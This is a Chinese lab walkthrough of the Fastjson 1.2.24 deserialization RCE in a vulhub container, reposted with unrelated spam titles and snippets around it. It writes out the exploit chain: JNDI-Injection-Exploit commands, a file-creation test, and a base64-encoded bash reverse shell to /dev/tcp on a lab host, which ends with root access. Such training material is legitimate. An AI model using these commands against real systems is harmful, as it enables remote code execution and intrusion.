青海建筑网站建设公司注册德国网站域名

news/2025/10/3 22:22:50/文章来源:
青海建筑网站建设公司,注册德国网站域名,重庆永川网站建设报价,驻马店广告制作公司文章目录 启动环境漏洞复现下载bp插件漏洞扫描dnslog测试是否向外请求资源用工具构造rmi服务器 反弹shell 启动环境 到vulhub目录下 cd vulhub/fastjson/1.2.24-rce安装环境并启动#xff1a; sudo docker-compose up -d sudo docker-compose up -d启动成功 sudo docker-compose up -d sudo docker-compose up -d启动成功如图 查看端口发现是8090打开bp内置浏览器输入10.9.75.45:8090打开环境 漏洞复现 FastJson 是Alibab的一款开源Json 解析库可用于将Java 对象转换为其Json 表示形式也可以用于将Json 字符串转换为等效的Java 对象。近几年来FastJson 漏洞层出不穷。RCE 漏洞的源头:17年FastJson 爆出的1.2.24 反序列化漏洞。 关于FasiJson 1.2.24 反序列化漏洞简单来说就是FastJson 通过parsebiect/parse 将传入的字符由反广列化为Java 对象时由于没有进行合理检查而导致的。 打开环境后用bp抓包Ctrlr发送到repeater模块右键改为post方法将content-type字段改为application/json然后添加一个json格式的数据并提交 {name:EMT,age:24}上传成功 这个过程中json- object - json进行了序列化和反序列化 下载bp插件 到网站Releases · Maskhe/FastjsonScan (github.com)复制FastjsonScan.jar包的地址 在kali中到下面目录 cd tools/burpsuite/extensions新建一个目录 mkdir Fastjosnscan到新建的目录下输入命令拉取FastjsonScan.jar包 proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar在bp中选择extensions点击add添加插件 安装插件已完成 漏洞扫描 来到repeater模块将数据包发送到FastjsonScan 发送后等待扫描结束后发现漏洞得到漏洞利用的poc poc中有rmi它相当于Java的http协议通过它可以远程执行引用一个外部类。 dnslog测试是否向外请求资源 生成一个URL 用lbap测试是否有URL跳转 测试成功。有URL跳转向外部请求资源 用工具构造rmi服务器 cd tools新建一个文件夹JNDI-Injection-Exploit进入该目录输入命令下载工具 sudo wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar下载完成后在该目录下执行命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/EMT -A 10.9.75.45成功构建出服务器显示出URL 用生成的URL到数据包中提交如果成功就可以在容器的tmp目录下创建一个EMT文件点击send后报错返回号500 用命令查看容器ID sudo docker ps -a如图 登录容器 sudo docker exec -it 26ad /bin/bash如图登录成功 查看tmp目录下的文件写入文件成功 反弹shell 用上面的漏洞可以写一个反弹shell命令来获取对方的shell 反弹shell命令,端口设为1234 bash -i /dev/tcp/10.9.75.45/1234 01进行base64编码 YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ将base64编码组成下面命令 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ}|{base64,-d}|{bash,-i}同上用工具构造一个可以发送的url java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjQ1LzEyMzQgMD4mMQ}|{base64,-d}|{bash,-i} -A 10.9.75.45如图构造成功 监听1234端口 复制一条URL到数据包中点击发送 反弹shell成功获取到root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/926390.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

中国网站排名前100天堂软件

From: http://blog.csdn.net/ljfrocky/article/details/46531137这篇文章主要介绍了如何使用PhpStorm Xdebug调试PHP程序,需要的朋友可以参考下。运行环境PhpStorm版本:8.0.3 PHP版本:5.4.12 xdebug版本:php_xdebug-2.2.3-5.4-vc…

乡镇网站建设宝塔面板设置wordpress伪静态

给你一个整数数组 arr 和一个整数 k 。现需要从数组中恰好移除 k 个元素,请找出移除后数组中不同整数的最少数目。 示例 1: 输入:arr [5,5,4], k 1 输出:1 解释:移除 1 个 4 ,数组中只剩下 5 一种整数。…

写作业

完成离散作业

P11164 [BalkanOI 2023] Permutations

思路 先判断是否有解。 即判断区间是否存在三元组 \((p_i,p_j,p_k)(i < j < k)\) 使得 \(p_i > p_j > p_k\);或者二元组 \((p_i,p_j)(i<j)\) 使得 \(p_i > p_j > \min_{k=1}^{L-1} \min_{k=R+1}…

旅游电子商务的三创赛网站建设英文seo推广

本文将详细介绍如何在Spring Boot应用程序中实现邮件发送服务。我们将探讨Spring Boot集成邮件发送服务的基本概念&#xff0c;以及如何使用Spring Boot和第三方邮件服务提供商来实现邮件发送。此外&#xff0c;我们将通过具体的示例来展示如何在Spring Boot中配置和使用邮件发…

Spring事务管理:-rollbackFor

rollbackFor属性用于控制出现何种异常类型,回滚事务。(默认情况下,只有出现RuntimeException才会回滚) 如: @Transactional(rollbackFor = {Exception.class}) @Override public void save(Emp emp) {//1.保存员工…

在JavaScript / HTML中,动态计算调整文字大小 - 详解

在JavaScript / HTML中,动态计算调整文字大小 - 详解2025-10-03 22:09 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; di…

微信图片批量保存的办法

微信聊天的图片有时候想要批量保存,但又不想一张一张取点,所以请看此文章已经给官方提建议了,目前还没在最新版看到相关功能。 解决办法:python 脚本(通过pywinauto 控制点击下一张和下载按钮,然后通过判断文件夹…

网站运营专员具体每天怎么做网站建设收费标准报价

ps&#xff1a; 为啥不用蒲公英了&#xff0c;就是因为有广告了&#xff0c;获取个UDID还安装游戏&#xff0c;真恶心?&#xff0c;所以找了新的获取UDID都方法&#xff0c;网页直接获取就可以&#xff0c;不会安装软件。 UDID 是一种 iOS 设备的特殊识别码。除序号之外&…

详细介绍:使用 C# 设置 Excel 单元格数据验证

详细介绍:使用 C# 设置 Excel 单元格数据验证pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &q…

乐清人才网官方网站深圳建网站公司哪家好

原理图&#xff1a; 矩阵按键原理图&#xff1a; 实验板接口原理图&#xff1a; 得到对应图&#xff1a; 扫描按键原理&#xff1a; 按键的COLUMN1、2、3分别制0&#xff0c;每次只允许其中一个为0其他都是1&#xff08;POW1和POW2正常状况为上拉&#xff09;&#xff0c;当有…

博客园实验1

1 // 打印一个字符小人 2 #include <stdio.h> 3 int main() 4 { 5 printf(" O \n"); 6 printf("<H>\n"); 7 printf("I I\n"); 8 return 0; 9 }View Code1 …

做盗版系统网站会不会php app网站建设

本书目录&#xff1a;点击进入 一、总结内容 二、习题 2.1 【选择题】以下Vue指令中&#xff0c;哪些指令具备简写方式&#xff1f; 2.2 【编程题】以下Vue指令中&#xff0c;哪些指令具备简写方式&#xff1f; &#xff1e; 效果 &#xff1e; 代码 一、总结内容 了解核…

arm汇编

寄存器 R0–R3 传参/返回值 R4–R11 局部变量(callee 保存) R12 临时 R13 SP 栈指针 R14 LR 返回地址 R15 PC 程序计数器 CPSR 标志位:N Z C V 常用指令 MOV Rd, #imm 立即数传送 ADD/ADC…

腾度网站建设品牌营销模式

前段时间&#xff0c;家里的iPad被家人误操作&#xff0c;导致iPad变成不可使用状态。自己折腾了半天&#xff0c;没有找到解决办法。没有办法&#xff0c;只好拿到手机维修店去修理,很快就修理好了.其实也很简单--就是对iPad进行了刷机操作。当然我也看到了刷机的方法。今天&a…

模型与分词器

当我们说“让AI理解人类语言”时,第一步是什么? 计算机是无法直接处理文本的,它需要数字。而模型与分词器就是完成“文本 → 数字 → 理解”这个神奇转换的关键二人组。本文将带你彻底理解这两者是什么、如何工作以…

云锵投资 2025 年 9 月简报

季报摘要本季度,量化基金策略业绩:15.48%,中,全国排名:8672/13200;平均 Beta:1.00; 本季度,量化股票策略业绩:25.05%,良,全国排名:4926/13200;平均 Beta:1.61; 本季度,量化期权策略业绩:21.71%(中性…

subclipse最新版本更新地址

subclipse最新版本更新地址 https://gitcode.com/gh_mirrors/upda/updates/tree/main/subclipse

详细介绍:C++与Open CASCADE中的STEP格式处理:从基础到高级实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

板子2

最近经常跑到以前代码里复制的东西,其实简单。 其中逆序对甚至vp的时候开始写了个挂的,和将军手搓了半天。 干脆放这里备用。 【模版】逆序对 【模版】笛卡尔树